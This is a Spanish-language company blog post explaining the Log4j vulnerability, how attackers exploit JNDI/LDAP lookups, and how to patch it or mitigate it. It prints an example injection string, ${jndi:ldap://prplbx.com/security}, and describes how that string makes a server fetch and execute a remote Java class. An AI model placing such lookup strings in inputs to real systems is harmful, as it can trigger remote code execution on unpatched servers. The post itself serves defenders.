Para desarrollar aplicaciones o sitios web, el uso de softwares y frameworks de código abierto es el más común hoy en día, a pesar de lo experimentado hace unas semanas con la falla de Log4j que afectó a todos los frameworks que operen con el lenguaje de programación Java.
La falla dejó expuesto aproximadamente 17 mil paquetes de Java en el repositorio de Maven Central, uno de los repositorios Java más importantes, esto acorde a las cifras que presentó Google. La firma de seguridad JFrog ha encontrado más al identificar paquetes adicionales que contienen la vulnerabilidad Log4j que no se detectaría a través del escaneo de dependencias, es decir, paquetes que contienen código Log4j vulnerable dentro del propio artefacto.
¿Por qué causó revuelo la vulnerabilidad en Log4j?
Log4j es utilizado en muchas aplicaciones desarrolladas con Java, lo que significa que la cantidad de dispositivos que pudieron verse afectados con este problema es de aproximadamente 3.000 millones, esto sin contar todas las empresas en el mundo que utilizan Java para sus sitios web y procesos tecnológicos.
Hasta la fecha, más del 44% de las de las redes corporativas a nivel mundial se han visto afectadas, incluso se han detectado una gran cantidad de ataques de manera directa a la minería de criptomonedas en varias partes del mundo.
Así aprovechan los atacantes la vulnerabilidad de Log4j
El sistema Log4j permite que los mensajes registrados tengan unas cadenas de formato en las que se hace referencia a información externa, todo esto a través de la interfaz de directorio y nombres de Java, conocida como JNDI por sus siglas en inglés. Este proceso da permiso a que la información se recupere de manera remota a través de varios protocolos, como el Protocolo ligero de acceso a directorios, o LDAP.
Si Log4j encuentra una cadena como esta ${jndi:ldap://prplbx.com/security} dentro de un mensaje de registro, indica al JNDI que solicite al servidor LDAP en "prplbx.com" el objeto de "seguridad". Cuando la respuesta del servidor LDAP haga referencia a la URL https://prplbx.com/security, JNDI va a solicitar automáticamente el archivo security.class del servidor web y ejecutar.
Un atacante puede insertar referencias JNDI que apuntan a los servidores LDAP que controlan y así dejarlas listas para servir clases Java maliciosas que realicen cualquier acción elegida.
¿Cómo protegerse?
Actualiza tus servidores. La mejor solución contra estas vulnerabilidades es parchear log4j a 2.16.0 y superior:
Mitigación de Log4j 1.x: Log4j 1.x no se ve afectado por esta vulnerabilidad.
Mitigación de Log4j 2.x: implementa una de las técnicas de mitigación a continuación:
Los usuarios de Java 8 (o posterior) deben actualizar a la versión 2.16.0. Los usuarios Java 7 deben actualizar a la versión 2.12.2 cuando esté disponible (trabajo en progreso, se espera que esté disponible pronto). De lo contrario, elimina la clase JndiLookup del classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
En Rootstack, nuestro equipo de developers se ha encargado de enfrentar esta falla con toda la seriedad que amerita, ofreciendo su ayuda a nuestros clientes que la presentan y dando pronta solución, dejando claro que somos una empresa dedicada a nuestros clientes y usuarios.
Te recomendamos en video
